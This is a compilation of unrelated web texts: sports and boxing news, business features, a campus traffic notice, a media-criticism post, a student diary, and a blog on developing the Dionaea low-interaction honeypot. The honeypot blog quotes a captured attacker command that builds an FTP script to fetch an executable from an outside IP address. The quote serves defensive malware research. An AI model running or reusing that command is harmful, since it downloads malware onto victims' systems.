Vice President and Treasurer
KEYWORDS: United States North America Arizona
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23rd January 2012
Martin Murray insists he holds no fear of going into the lion's den against Sergio Martinez this spring.
Martin Murray insists he holds no fear of going into the lion's den against Sergio Martinez this spring.
The unbeaten St Helens man will face the planet's best middleweight in front of almost 50,000 fans at the Estadio José Amalfitani in Buenos Aires, Argentina on April 27.
And he knows few will be cheering him on.
"It's not daunting me at all. The crowd is going to be very hostile but I'm always in the zone when I enter the ring so it makes no difference what people are doing around me," he said.
"I'll just be focused on going in there and doing my job.
"Naturally they'll be some nerves before the fight, but that's a good thing. I always feel some nerves, I like them and I perform off of them."
Murray believes his previous performances in the spotlight have prepared him perfectly for fighting in front of such a large audience.
In late 2011 he travelled to Germany and held then WBA champion Felix Sturm to a draw and last November he impressed in front of a bumper crowd when halting Jorge Navarro on the undercard of Ricky Hatton's massive return to the ring.
"Those fight have been good preparation for me," the 30-year-old said. "Having that one in Germany and then boxing at the MEN Arena showed I can perform in front of a big audience.
"If I'd have just been boxing in leisure centres, going into a big stadium could make me like a rabbit in headlights, but I know I always perform well on the big stage."
He added: "Martinez is easily the best middleweight in the world so obviously I'll need to raise my game to beat him but myself and my team know that's something we're very capable of doing."


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When Bill Lia tried offering traditional boxing programs at his four Gold's Gyms in the Albany, NY, area, the programs did not measure up to his expectations for a group training business. In most cases, he offered the classes for free with the intention of eventually going to paid programming.
"All our previous attempts just were not successful," Lia says. "We never had the programming end of it down as well as we should have. And I think the interest level just wasn't where it should have been."
But that was before Lia and his team turned to a mixed martial arts (MMA) circuit program that Focusmaster Fitness, Troy, NY, created. The program involves installing striking stations around a room with core exercise stations between each striking station. Each station includes a placard with instructions, but a coach also works with participants to tailor the movements to their level.
The Focusmaster striking equipment has been used in MMA studios for one-on-one training for many years, but Focusmaster tested it in a group exercise class format before approaching Lia about trying it in his clubs.
"The fact that it was MMA, and MMA being on the uptick right now, we thought that it would be a different animal than boxing," Lia says. "MMA is just as aggressive as boxing, but there is an attraction to [MMA] that people want to be affiliated with, almost like from a branding standpoint. You see all the clothing and different things that have spun off from the MMA and the UFC."
When the first Focusmaster classes were introduced at his Latham, NY, Gold's Gym, Lia saw a higher level of interest than he had from his previous boxing offerings. In addition to the growing interest in MMA itself, Lia credits the high participation rate to the 30-minute, scripted class format that offers an intimate group feeling. The class can accommodate a maximum of 12 people, which allows the instructors to offer one-on-one coaching.
"It fit into our model of trying to develop small group training," Lia says. "We believe it is part of the future of our business as well as the industry."
The cost to buy and install the six Focusmaster striking stations, which are now in each of Lia's clubs, was about $15,000 per club. After installation, the main cost for the program is paying for certification of instructors (a two-day course) and paying the instructors per class.
Initially, Lia charged extra for the classes, but they have become so popular that he now also offers a higher priced membership for unlimited classes. In three months, he earned his return on investment, he says.
That revenue potential could grow further, as Lia is talking with Focusmaster about developing new programs, such as a kids' program, a women-only program and a self-defense program. They also are discussing developing merchandising, including branded gloves and hand wraps as well as branded T-shirts.
"People involved in this program want to brag about it, so we think there is an opportunity," Lia says.
The potential for increasing pro shop sales could be great. In the clubs that have had the program for about six months, each of the four classes offered almost every day has eight to 10 participants on average. And that is without much marketing of the program, except for a Groupon offer that drew 200 takers.
Running out of space is not a concern for Lia, as more classes can be added. However, the biggest issue for some club operators might be finding the space for the equipment in the first place. For his Focusmaster rooms, Lia renovated areas of his clubs that were not generating income or were not being utilized heavily. But because the striking equipment sticks out just six to eight inches from the wall, the rooms have space in the middle that can be used for other classes, too.
Overall, Lia says the program has been worth it for his clubs.
"It gave us something unique and different that no one else is doing," Lia says. "It is motivating, in a team atmosphere. It's a great energy created in the room."


text:
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Nepenthes is one of the leading low-interaction honeypots designed to automate the capture and analysis of malware, and this project will be a next generation development of low interaction server honeypots able to automatically and scalably detect known and unknown malware.
Mentor: Paul Baecher
Student: Markus Koetter
A simple protocol which can be connected using netcat or openssl s_client via ipv4/6 proves these claims
A simple protocol written in python which can be connected using netcat or openssl s_client via ipv4/6 is provided to proof the claims
An exploit taken from a public repository, run against the software, is detected and emulated.
The Dionaea honeypot got more and more mature during the last weeks. As Markus blogged in Iteolih: Miles and More the software is now able to detect shellcode via libemu and generates a nice shellcode profile out of this.
The SMB / DCERPC implementation also got fairly mature and is now able to cope with all packet types and also most caveats and differences of implementations in exploits. As I registered more and more RPC vulnerabilities in the module, it was definitely time to give libemu something to eat! :) Read more »
We got a new milestone due:
An exploit taken from a public repository, run against the software, is detected and emulated.
To shorten things, basically all required points are hit with current svn.
So, given the time we just saved, some words about how it works. Read more »
Yesterday, I got an incomplete, but successful, attack on my honeypot, the attackers remote code execution looked like this:
WinExec("cmd /c echo open 126.96.36.199 4871 > o&echo user 1 1 >> o &echo get msq16.exe >> o")
As the required part to download the malware to the remotehost was incomplete, I got curious and wanted a copy. Read more »
While playing with the current hsoc code, I got attacked, and saw an offer to download something from somewhere.
During the last weeks I have been working on SMB and specifically DCERPC support for the Dionaea next generation low-interaction honeypot (buzz!).
SMB / CIFS is a huge protocol with several protocol versions and a lot of message types. The CIFS technical reference and the Implementing CIFS book have been constant companions for me since the beginning of the project. Read more »
due to the length of the whole term Improving the effectiveness of low interaction honeypots, I decided to use Iteolih as uniq abbrevitation. Things are rolling for the project, writing code started, a basic homepage with instructions how to compile/use it was created.
I even had the plan to write about it once or twice, finish something in the code, write about it. When I was done with the code, I got the idea, writing about it was not worth your time. Read more »
As the plan is to embedd python as scripting language into the honeypot, I ran a benchmark on a testsuite. The 'testsuite' is a c core which accepts connections, and allows python to deal with the input. The protocol used for benchmarking is http, the service serves a non static html page.
I tested
To benchmark, I ran the apache benchmark tool ab Read more »


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New Logo Design for Quadrogen Power Systems, Inc
Held by: Diego Ribas-Cadle (dribas-cadle)
Last rated:
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Logo design created by professional graphic designer kowreck
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$26,825.66 earned, 91 projects done
I am an artist by heart. I do the works and I let my works speak for myself.
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text:
67 WALL STREET, New York - April 26, 2013 - The Wall Street Transcript has just published its Investing in Financial Services Report offering a timely review of the sector to serious investors and industry executives. This special feature contains expert industry commentary through in-depth interviews with public company Money Managers. The full issue is available by calling (212) 952-7433 or via The Wall Street Transcript Online.
Topics covered: Investing in Financial Services - Interest Rates and Loan-Growth Strategies - Regulatory Outlook Gains Clarity - Long-Term Investing - Large Cap Investing - Longer-Term Investing
Companies include: American International Group, (AIG), The Blackstone Group (BX), Capital One Financial Corp. (COF) and many more.
In the following excerpt from the Investing in Financial Services Report, an expert portfolio manager discusses her investment philosophy and portfolio-construction strategy:
TWST: How are you exposed to the sector?
Ms. Firestone: We have a broad-based approach to the sector across the several holdings in our portfolios. Aureus only owns 35 to 40 names, so each stock represents valuable real estate, so to speak, in our accounts. If you look across our financial holdings, they range from one insurance company that's been restructuring, AIG (AIG); Blackstone (BX), which is a large and very successful private equity firm, as you know.
We own First Republic Bank (FRC), a distinctive boutique-style bank that sources from a very high-end clientele. And then, we bought a turnaround in the sector, Capital One (COF), because they've had some real difficulties and we thought the consumer finance company was very attractive at the current valuation at around 8 times earnings. So within our core equity portfolios, we have a combination of stocks in financial services that I would say don't fit the typical definition of the group.
Just to elaborate, First Republic was a purchase based on our belief almost 18 months as that the housing market was improving, when this was a contrarian idea. We actually first got to know the firm because one of our clients was switching banks and really liked FRC. We were intrigued and did considerable research, talking to local managers as well as meeting with the top executives. The company serves a very high-end clientele who feel underserved by the megabanks resulting from mergers over the past two decades.
The wealth management platform at First Republic includes over $32 billion in assets under management. They still have only about a 1% market share of high-net individuals in the New York area, compared to 13% in San Francisco, their home market, and there is growth potential in other promising markets as well. FRC has a strong balance sheet, very high credit quality and assets that are growing much faster than its competitors. At the current price of $37.5, the stock sells for about 12 times 2013 earnings.
Capital One Financial is a turnaround situation, selling at $56, with earnings for this year forecast at about $6.35, so it sells for under nine times earnings. The discount is probably justified by...
For more of this interview and many others visit the Wall Street Transcript - a unique service for investors and industry researchers - providing fresh commentary and insight through verbatim interviews with CEOs, portfolio managers and research analysts. This special issue is available by calling (212) 952-7433 or via The Wall Street Transcript Online.


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Florida | RV and Camping Travel Tips
Hot Spots | Top Bird Watching Trips
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Best Bird Watching Destinations
Bird watching is a wonderful year-round activity. It is a wonderful way to learn about and enjoy many of the delights of nature. In addition, it is an activity that can be enjoyed almost anywhere in the world. Here are a few great destinations in the United States for bird watching enthusiasts to visit.
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- National Park Guide | Dry Tortugas National Park
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- RV Trip to Baseball's Spring Training Destinations
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- Top Tips | Florida Travel
- Visit the Conch Republic - Key West, Florida


text:
Nov 6, 2013
From staff reports
Motorists and visitors to Ohio University's Athens Campus are advised there will be traffic and parking restrictions in place during a 5K event Sunday, Nov. 10.
The Color Run, a foot race in which participants are sprayed with colored food-grade cornstarch, will start at the intramural fields on South Green, continue west on Mill Street to Stewart Street and then turn left on to University Terrace. From there, participants will travel along South Green Drive to the parking lot near Peden Stadium (lot 132) and complete the course along the bike path back to the intramural fields. "Color zones" for participants to run, walk and jog through will be set up on Stewart Street, in parking lot 132 and twice along the bike path.
Road closures and lane restrictions
Beginning at 1 p.m. on Sunday, South Green Drive from Richland Avenue to Oxbow Trail will be reduced to one lane. Ohio University police officers will be on hand to direct traffic, alternating lanes between the two intersections. Affected sections of Mill, Stewart and Race streets will be closed during the event, as well as a portion of University Terrace. Roads will resume normal traffic patterns after 3 p.m., following the end of the race. This map illustrates the race route.
Parking lot closures and restrictions
University parking lots 104, 132 and 93 will be closed and cleared beginning at 5 a.m. on Sunday, Nov. 10. These lots will be open to Color Run participants beginning at 8 a.m. Signs will be posted in the lots.
The following lots will be barricaded during the race so vehicles cannot exit the lot and enter the race course:
Lots 43 and 44 (near McCracken Hall)
Jefferson Hall Garage
Lot 90 (near Morton Hall)
Lot 4 (Lower Scott Quad)
Lots 83 and 84 (behind Clippinger Hall)
Lots 86 and 88 (in front of Clippinger Hall)
OUPD estimates these lots will temporarily close at 1 p.m. and re-open after 3 p.m. Any cars in the affected lots during the temporary closure will not be towed, but will not be allowed to leave until the lot is re-opened.


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Face The Nation Ignored Rep. West's Taunt That Obama "Get The Hell Out" Of America
Yesterday's Face The Nation certainly did not reflect CBS's best efforts in terms of showcasing serious people discussing American politics, or in terms of holding guests accountable for their outlandish attacks on the president.
As Media Matters noted, CBS on Sunday aired an interview with Donald Trump who claimed, yet again, that he was kind of/maybe thinking about running for president as an independent. (Or he might just endorse one of the current GOP candidates; he's not sure.) Why Trump's self-promotion would still pass as news in 2012 remains a mystery.
Worse, Face The Nation host Bob Schieffer never asked Trump about the thoroughly debunked, Obama birther conspiracy theory that the businessman proudly hyped last year only to watch it collapse in spectacular fashion.
What else transpired on Face The Nation yesterday? Discussing this week's Florida Republican primary, the program hosted Rep. Allen West (R-FL), who is widely known for using slanderous, AM radio-style hate rants against Democrats.
In fact, here' what West told a partisan crowd the day before he appeared on Face the Nation:
We need to let President Obama, Harry Reid, Nancy Pelosi, (audience boos) and my dear friend the chairman of the Democrat National Committee, we need to let them know that Florida ain't on the table," West said. "Take your message of equality of achievement, take your message of economic dependency, take your message of enslaving the entrepreneurial will and spirit of the American people somewhere else. You can take it to Europe, you can take it to the bottom of the sea, you can take it to the North Pole, but get the hell out of the United States of America.
On Face The Nation though, host Schieffer never asked West why he had demanded that Obama, Reid and Pelosi " get the hell out" of the country.
It's possible Schieffer didn't know about West's comments, even though they were reported the night before Sunday's Face The Nation aired. Either way, CBS ought to know better than to treat reckless name-callers (and freshman Congressmen) like West as a important voices in American politics.
Not so long ago, periphery players like Trump and West would have been shunned by the Beltway press and treated as the not-serious people they are. Today, the Obama-bashing duo have been mainstreamed thanks to outlets like Face the Nation that refuse to hold guests accountable for their radical attacks on the president.


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Adrenaline kept me going all day, but I woke up feeling unwarrantably refreshed.
I actually took the time to put together a cute outfit and do my makeup before walking to my 8:40 advertising class this morning. There, I got back an assignment from last week with a grade of 19/20, so that really started my morning off right. Plus I participated in class, which I haven't been doing much for some reason. I think it has to do with me not wanting to look like a smart ass in a non-honors section. Just laying low.
After advertising, I got some coffee and went to CIS lecture, which is usually pretty interesting. After that I went home and made myself a grilled chicken wrap. I am becoming quite the kitchen aficionado!
In our Italian lab we watched a music video on YouTube by an artist named Vasco Rossi called Senza Parole. When we watch these videos our instructor doesn't tell us what the words mean, so I just looked it up and this one means "Without Words," ironically. I guess the point of the video is that sometimes you just understand things and there are no words to describe it, or no need to try. At the end of the video there are a lot of couples kissing so I think it has to do with love. For lecture we went over sentence structures - even though the homework this weekend was to write a long e-mail to a friend using... oh yeah, sentences! Anyway it was pretty inutitive, and then I was done for the day!
I went to the Tech to try to do a video dubbing but Chris, who was explaining things to me the other day, wasn't there and the guy that was trying to help me had no more clue than I did about how to set everything up. In fact it was a struggle just to rewind my VHS. So now I am not even sure if my speech footage is going to be on the tape because I shouldn't have had to rewind it more than a few seconds. I guess I will have to find out later where there are VCRs on campus.
Worked up an appetite from all that waiting. Went home and cooked a pasta salad. I kinda like to do things without recipes but it turned out not bad. Actually I ate too much of it and got a stomach ache, then laid on the couch while watching the end of a show on the Food Network and passed out for a bit. When I woke up I had a lot of cleaning up to do and... the ants were after some spilled balsamic vinaigrette. Yuck! I wish they would just go away already.
Did some research for Speech class about the environment and corporate accountability. Then made guacamole. Unfortunately the avocado was a little over-ripe so it wasn't as good as it could have been.
Oh yeah, and I did a load of whites. Now I need more laundry detergent.


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Bridgepoint Education, a for-profit, largely online university based in San Diego, generated more than $1 billion for the local economy last year, a report says.
The economic impact report, being released today by the San Diego Regional Economic Development Corp., shows the publicly traded Bridgepoint helped produce, through its operations, $489 million in areas such as travel and capital expenditures, supplies, advertising, and charitable contributions. That helped create 4,505 outside jobs in addition to Bridgepoint's 3,900 local employees. Its operations indirectly brought the region an additional $590 million through increased spending by the contractors and services it hired.
"I think it's humbling more than anything just to see the impact that this company is having in the San Diego region," Bridgepoint CEO Andrew Clark said. "I think the biggest thing a report like this can do is really provide another proof point for the city of San Diego when they're talking to companies outside of San Diego and outside of California who might be considering San Diego as a place to come."
Bridgepoint — the city's ninth-largest private employer — had a net income of $172.8 million last year, up from $127 million in 2010. It occupies more than 705,000 square feet of office space.
The school, which offers undergraduate and graduate degrees, has 94,863 students across the nation, 99 percent of whom are exclusively online. That includes 2,433 students in San Diego. Bridgepoint operates Ashford University, which has a campus in Clinton, Iowa, and University of the Rockies in Colorado Springs, Colo.
It is a member of the nonprofit San Diego EDC, which occasionally prepares regional impact reports on various sectors. The EDC will release similar reports on the maritime and telecommunication industries, CEO Mark Cafferty said.
The EDC commissioned the roughly $25,000 study from the London Group, a local economic consulting firm. The EDC previously released a report on the economic impact of Petco Park, and last examined Bridgepoint's regional impact in 2009. That year, the company had 4,784 employees in San Diego and made a $285 million impact to the area. Many of those employees have since relocated to assist with company operations in Denver, Bridgepoint spokeswoman Shari Rodriguez said.
Bridgepoint is a "Chairman's Council" member of the EDC, its highest level of membership, Cafferty said, contributing at least $100,000 each year.
Bridgepoint and other for-profit educational institutions were the focus of congressional hearings last year about high dropout rates, questionable recruitment practices and high rates of federal student loan defaults. Legislation was introduced in April but has not progressed. Rodriguez said Bridgepoint supports any congressional effort to uncover any practices that cause harm to students and taxpayers.


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As a young girl, this New Hampshire native spent weekends on her grandparents' farm listening to the stories her grandmother told.
Now, Debra loves to share stories that entertain and teach about the natural and cultural history of New England and the world.
Some stories include musical instruments or singing, several invite audience participation, while others are just fun to hear.
Since 1995, she has been storytelling in a wide variety of settings and is a featured teller at a number of venues.
Debra draws from her vast experience educating people of all ages about the sea and other aspects of the natural world to immerse her audience in the wonders of the real and imaginary in her workshops and performances.
Using her BA in Biology and MS in Environmental Studies, Debra encourages others to explore the natural world and its influence on their cultural heritage.
Read more about Debra's work.


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SurDoc API - How To
SurDoc provides a cloud-based storage service that allows users to view, edit, send, share, and even sign their files from anywhere with an internet connection, on any kind of device. A SurDoc account can also be used to continuously and automatically back up an unlimited number of computers. SurDoc works to maintain the confidentiality of user data, storing all documents in an encrypted form so that no one at SurDoc or anywhere else can access users' private documents. Developers can integrate with SurDoc's functions and access stored files via REST calls.


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Hassell And Bazemore Lead Monarchs Over JMU, 75-59
By ODU Athletics
Feb. 24, 2011
HARRISONBURG, VA-- Frank Hassell scored 21 points, and Kent Bazemore added 19 to lead the Monarchs (23-6/13-4) of Old Dominion to a 75-59 Colonial Athletic Association win over James Madison Thursday night on ESPNU.
Senior guard Darius James added 11 points, dished out six assists and committed no turnovers. As a team, The Monarchs committed only six turnovers, while the Dukes turned it over 13 times.
JMU led by six, 17-11 with 10:06 left in the first half, but ODU went on an 11-0 run to take a 22-17 lead after a basket by Kent Bazemore with 5:45 left. The Dukes had a chance to re-take the lead with ODU up 26-25 with 19 seconds left, but Kent Bazemore picked-off one of his game high three steals, then hit a three-pointer to give the Monarchs a 29-25 halftime lead.
In the second half, ODU's defense and timely scoring took charge and the Monarchs led by as 21, 64-43 with 6:42 left in the contest. ODU shot (.536) from the floor in the second half and hit 14-16 from the free throw line for the game.
Frank Hassell was 9-12 from the floor, Kent Bazemore was 6-8 and Darius James was 5-10 from the field.
ODU outrebounded the Dukes 30-23 after the two were dead even at halftime (15-15). The Monarchs held JMU to just three offensive rebounds. In three of the last five opponents (W&M, VCU and JMU), the Monarchs have held to five offensive rebounds or less.
Frank Hassell again led the Monarchs rebounding power with 10, for his 13th double-double of the season. Chris Cooper hauled down six. ODU has now outrebounded 28 of 29 opponents this season.
The Monarchs have now beaten the Dukes six straight times, including three straight at the JMU Convocation Center.
ODU plays W&M in the home finale on saturday at 4 p.m. Monarch seniors Ben Finney, Frank Hassell, Darius James and Keyon Carter will be honored pre-game.


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CHICAGO, Dec. 1 (UPI) -- Chicago film critic Roger Ebert says he has put "At the Movies" on hold indefinitely because he has not found funding for the weekly half-hour show.
Ebert and his wife Chaz paid most of the production costs for the PBS program for a year while they looked for other investors.
The famed film critic announced on his blog Wednesday his decision to place the show on hiatus at the end of the month, the Chicago Tribune said.
"It was a sad but necessary moment of realism," Ebert said.
"We've spoken to the top executives of several channels and film distributors, charitable foundations, Web delivery services, potential corporate sponsors and crowd-funding sources," Ebert said in his blog. "And we are still talking with them, but the time crunch has intervened. It is a complicated process, and so we are going on hiatus while we sort it out."
The syndicated show starred film critics Ignatiy Vishnevetsky and Christy Lemire. It was produced in Chicago at WTTW, where Ebert and the late Gene Siskel began taping their "Sneak Previews" review program 35 years ago. Co-producer Ebert also served as host of a special segment each week.
Ebert, a longtime columnist for the Chicago Sun-Times and former co-host of "Siskel and Ebert at the Movies," has battled cancer for years and lost his ability to speak. A syndicated version of "At the Movies," featuring lesser-known critics, was canceled in 2010.


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Emails dug up by Bloomberg News have revealed that Wal-Mart is having a terrible start to the month.
Execs were freaking out.
One called it a "total disaster," and said that it was the worst start to a month that he'd seen in seven years at the retailer, according to the emails.
Two execs identified a pair of factors that are causing this to happen.
Finance and logistics VP Jerry Murray and U.S. replenishment SVP Cameron Geiger called out increased payroll taxes and delayed tax returns as the culprits.
Geiger called them "a potent one-two punch" in one of the leaked emails.
So, what's going on here?
- In 2012, shoppers had received nearly $20 billion more in tax refunds by this time of the year, according to Wal-Mart Global Customer Insights & Analytics division. Now, Wal-Mart expects returns to be delayed by three to four weeks.
- Back on December 31, a payroll tax break expired, and Americans started to pay 2 percent more in Social Security taxes. For someone making $40,000 a year, it's about $15 more a week. Or, for a family making $30,000, it's about a year of car insurance, according to Wal-Mart.
Now, look back to January. Consumers still hit the stores despite the tax hike and general merchandise came out okay — spending rose about 1 percent, according to Marketwatch.
The Census Bureau reported that overall retail sales rose a seasonally-adjusted 0.1 percentduring the month, which was in line with expectations.
But this doesn't paint the full picture.
January has always been considered a heavy "clearance" month. Retailers traditionally mark down a lot of their wares in order to get rid of winter merchandise left over from the Christmas rush.
For instance, look at this massive 75 percent off clearance day Wal-Mart had at the beginning of January.
It's a particularly appealing time to shop for those who don't have much left in their wallets.
"Consumers were shopping and hunting for those clearance items," Michael Niemira, chief economist at the ICSC, told the AP. "Despite the strong reading, January may be one of the highest points of the year."
And now, those two punches noted by Wal-Mart execs seem to be hitting in force, without the big clearances of old holiday merchandise to prop it up.
Which raises the question: If a mega-giant like Wal-Mart is struggling in the face of these external factors, what about its weaker competitors?
"It could mean that more retailers are researching and will put out major earnings warnings," said NBG Productions chief equities analyst Brian Sozzi. "There's no reason to be optimistic."
We'll get a lot more information on February 21 when Wal-Mart reports its Q4 earnings.


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NashvilleCat wrote:So, does this team not want to be coached or is Dan not capable of coaching or imposing his will? If it's the former then Mario needs to have a long talk with Sid, Geno, and Letang. If it's the latter then we need someone with a little more fire in the belly.
He's imposing his will. I don't think the players have tuned him out. My feeling is that them following his strategy is the problem. Dan's system seems to require absolute precision and skill. Best analogy I can use is like a spread offense in football. It works great when you have the best and fastest guys on the field who are so athletically gifted that they make lesser teams look absolutely silly. But when you play a team that understands how it works and has players that can keep up with you, suddenly it looks terrible. I don't think it's a shocker we are like the bi-polar disease of the NHL: we either look insanely good or insanely bad. I can't think of the last time in the playoffs we've been on a stretch of solid 2-1, 3-1, 3-2 games.
I also don't think it's a shock that experienced coaches are figuring us out. I mean, if I use the football analogy again, the Bruins were jumping all of our routes and waiting for our RBs in the hole before he got there.
DB gets credit for taking the 2009 team that was dying in the regular season and turning it around. But that year, his system was a hybrid trap and loosening up. Every year since then, we have departed more and more from it and the "grind these ******** down" mentality and more towards a Harlem Globetrotters mentality. And to be honest, I don't think DB has the slightest clue of how to operate in the defensive end. Not only does it look like a cluster back there on a regular basis, but the system makes solid dmen look completely lost (talking about the Martins, Michaleks, and Orpiks and even Despres to the extent he is allowed to play, not the Letangs and Niskanens). The super stay at home guys like Murray and Engelland look ok most of the time. It just signals to me that DB doesn't know defense well enough to work with the guys who aren't extreme offensive dmen or extreme defensive dmen.


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Business Monday
Spanish investment and trade ties with Florida offer business gold
Arriving in South Florida, visitors from Spain might feel as if they've never left the Iberian Peninsula.
They can arrive aboard the Spanish airline Iberia, drive on a highway that a Spanish company built, stay at a hotel that Spanish investors own, take in a flamenco show, and finish the day with tapas and wine from Spain at their choice of Spanish restaurants.
If they need money, they could stop by the Miami branch of Banco Sabadell or another Spanish-owned bank, pick up the El País newspaper that is printed locally by the Miami Herald Media Co., or shop for clothes at Spanish stores such as Mango and Zara. And if they were too busy to pack gifts for their South Florida friends, they could pick up espadrilles, painted ceramic plates and traditional polvorones cookies at local stores such as Brisa de España or Delicias de España.
If the baguette they crunch down on in their sandwich from 100 Montaditos has the taste of home, that's because the bread for all the Spanish chain's local restaurants is made in Spain, frozen, sent to PortMiami in a container ship and baked just before serving.
South Florida has become a magnet for Spanish investment and trade. Not only does the region have cultural and language ties to Spain, but its advantageous location allows Spanish companies to establish an outpost here for business in both the United States and Latin America.
The ties between Spain and La Florida endure 500 years after Spanish explorer Ponce de Leon first made landfall just north of present-day St. Augustine in April 1513.
And as Spain moves out of its recession, the investment and trade links between the two are likely to expand and strengthen, said those who promote business with Spain.
"Our goal this year is to make the link between the 500th anniversary and business with Spain,'' said Mario F. Buisán, Spain's trade commissioner in Miami. Both the trade commissioner and Spain-U.S. Chamber of Commerce in Miami are taking part in networking events and business conferences to tout Spanish companies and products.
The chamber, one of the largest binational chambers in the Southeast United States, has 500 members and maintains a database of 7,000 companies interested in its networking and other events.
Buisán said about 40 percent of the Spanish companies that have planted the flag in the United States are in Florida, and of those, about 80 percent are in Miami-Dade and Broward counties.
An estimated 350 to 400 Spain-affiliated companies are registered to operate in Florida. They include insurance giant Mapfre, Eulen America, whose workers do contracted passenger service jobs at Fort Lauderdale-Hollywood International Airport and Miami International Airport; Areas USA, the food and retail concessionaire at service plazas along the Florida turnpike; and the U.S. affiliates of Spanish construction companies OHL, FCC, Dragados and Global Via Infraestructura.
"But we know there are more companies with links to Spain,'' says Javier Pérez-Palencia, executive director of the Spain-U.S. Chamber of Commerce in Miami.
The reason? Spanish professionals, who arrive in Florida, sometimes set up and incorporate new companies that are counted the same as any other Florida business, he said.
While Spain isn't the largest foreign investor in Florida — the United Kingdom and Canada were in terms of jobs generated in 2010, according to Enterprise Florida — anecdotally, there seems to be an uptick in interest on the part of Spanish companies and professionals.
"It's amazing how many people are passing through this office looking for opportunities,'' said Pérez-Palencia. "A lot of people are coming here and trying to work but visas can be a problem,'' he said. That's especially true because H1B visas, which permit U.S. companies to temporarily employ foreign workers in technical and specialized fields, tend to go so quickly.
It isn't just big companies that are looking beyond Spain's borders.
"Once the crisis hit in Europe, we began to see the boom of smaller companies,'' said lawyer Yosbel A. Ibarra, who is with Greenberg Traurig's Latin America/Iberia practice. "A natural place for them to enter the U.S. market is South Florida."
In recent years, he said, Spanish investors also have looked to Texas, Panama, New York and Chicago for expansion.
"There's been an acceleration [in investment] since 2005" — first because the Spanish economy was doing well and then because it wasn't, said Buisán. "Spain is one of the great foreign investors in Florida.''
As the Spanish economy boomed from the late 1990s to 2007, companies there looked abroad for expansion opportunities.
"There was a maturity in the Spanish market, and they began to see the market as the world market,'' said Buisán.
But in recent years, Spain's housing bubble burst, the country suffered through a double-dip recession, unemployment soared, and the EU had to bail out Spain's ailing banks. With a lingering economic slowdown in Europe, the European market was no longer as promising, either. Companies and individuals with the wherewithal went searching for greener pastures. Florida beckoned.
"It was a question of survival. They needed to look beyond Europe,'' said Buisán.
Antonio Peña, a lawyer with Greenberg Traurig who has worked on deals involving Spanish companies, agrees.
"Spain has very sophisticated businesses. Their investments are usually strategic,'' said Peña. "In many cases they are bringing in know-how to make U.S. products better. We see them testing the waters in South Florida with the idea of expanding to the rest of the United States or Latin America.''
One area where Spanish companies have been most active is engineering and construction.
FCC (Fomento de Construcciones y Contratas), one of Spain's largest construction companies, announced last spring that it was setting up its North American headquarters in Miami. The company built the I-95 express lanes in Miami-Dade.
Through acquisition of three Florida companies, Spain's OHL Group also has become a major force in Sunshine State construction, working on everything from road projects to condominium, hospital and educational construction.
And the U.S. subsidiary of Spain's ACS group is working on the massive I-595 corridor improvement project in Broward County. Fort Lauderdale-based Dragados USA, a subsidiary of Spain's Dragados, has worked on the North Terminal at Miami International Airport and also on the I-595 improvement project.
While the Spanish recession may have encouraged large companies to seek business beyond Spain's borders, it has taken a toll on trade between the United States and Spain.
As the global economic crisis took hold in 2008, Spanish exports to the United States began to fall. But last year, as a percentage of total U.S. exports, products from Spain were at a higher level than before the crisis.
Spain sent $11.8 billion worth of merchandise to the United States last year, a 7 percent increase over 2011, according to the U.S. Bureau of Economic Analysis. It ranked as the 11th most important source of merchandise imported into the United States.
Spanish trade with Florida also fell off during the recession, but in recent months, the Spanish economy has shown some signs of perking up and trade with the Miami Customs District, which includes airports and seaports from Palm Beach to Key West, was up slightly during the first half of this year.
That's especially true for imports. During the first seven months of 2013, Spanish imports through the Miami district reached $201.5 million, compared to $187.6 million during the first seven months of 2012, according to an analysis of U.S. Census data by WorldCity, a Coral Gables media and data research company.
Among the biggest sectors are tiles and food and wine, said Buisán, who promotes Spanish investment and trade ties in a region that includes Florida as well as Georgia, Alabama, Arkansas, Mississippi, Louisiana, Tennessee, Texas and Oklahoma.
But sometimes Spanish products destined for Florida arrive via New York or other ports, he said.
"It's not easy to reach a perfect conclusion about trade, but with more Spanish firms here, it's very likely there'll be an increase in the flow of trade in the next few years,'' Buisán said.
Angel Santibañez, proprietor of Brisa de España in Doral, is doing his part when it comes to trade.
"Nearly everything you see is imported. About the only things that aren't are the Coca Cola and the Pepsi Cola, and we're working on getting people to have wine with their meals," said Santibañez as he looked around his business — a combination Spanish store, bakery, sandwich shop and restaurant in Doral.
Brisa de España is packed with paella pans in sizes from four to 120 servings; Spanish hair products; creams and black Magno soap; plates for serving olives; Valor chocolate bars; canned white asparagus; jarred baby eels; frozen bacalao; crystal wine decanters; cruets for oil and vinegar; children's flamenco dresses; Colocao powdered chocolate mix; a wide variety of olive oils; all manner of canned and jarred olives and sardines; and even fresh fish that arrive on overnight flights from Spain.
Imported hams, including the coveted pata negra produced from pigs that graze on acorns and costing $95.50 per pound, hang from the ceiling. And Santibañez already has started to receive shipments of some 30 varieties of turrón, the nougat candy made from almonds and honey that is a Christmas staple.
He works with 10 to 12 food distributors who supply his wine, ham, cheese, chorizo, beauty supplies and some other products. But Santibañez imports his ceramics, crackers and cookies, olive oil, turrones, chocolate, lentils, fava beans and other dry goods directly. The varied products are put together by a consolidator in Valencia and he brings them in by the container-load.
Santibañez arrived in the United States 45 years ago and learned the food and wine business when he worked as a waiter at the Oak Room of New York's Plaza Hotel. He came to Miami in 1988 to semi-retire and ran a gas station in Pembroke Pines before opening Brisa de España 10 years ago.
"I want to give people a little bit of Spain in Miami,'' he said.
According to the 2010 U.S. Census, more than 20,000 Spanish citizens live in Miami-Dade, Broward and Palm Beach counties.
About 20 percent of Santibañez's customers are Spaniards. The majority — about 75 percent — are Venezuelan, which is no surprise because Doral has a large Venezuelan population. And they're very familiar with Spanish products and food traditions, he said.
"All Latin Americans are children of Spain,'' said Santibañez.
But he added, "I'd like to see more Americans'' — even though some could use a few lessons on Spanish food. "Sometimes they come in thinking they're going to get a burrito,'' he said.
Santibañez's sales are around $2 million annually — down from the $3 million of his peak year of 2007 — but Santibañez said as the economy picks up, business is starting to grow again.
Imports of glazed ceramic tiles also have started to pick up this year. In the first seven months of the year, tile imports — the second most important Spanish import through the Miami district after perfumes — increased from $10.78 million in the first seven months of 2012 to $12.72 million, according to World City.
Stephen Musolino, Jr., manager of Casa Linda, a Doral tile and marble distributor, said his Spanish tile business is showing signs of perking up. Musolino's 81-year-old father, Stephen, is one of the Doral tile district pioneers and was the first tile distributor to bring in ceramic tiles from Europe.
Currently about 25 percent of the tiles Casa Linda stocks are from Spain. Musolino brings in 30 to 40 containers of Spanish wall tiles annually. Each container holds around 15,000 feet of tile, he said.
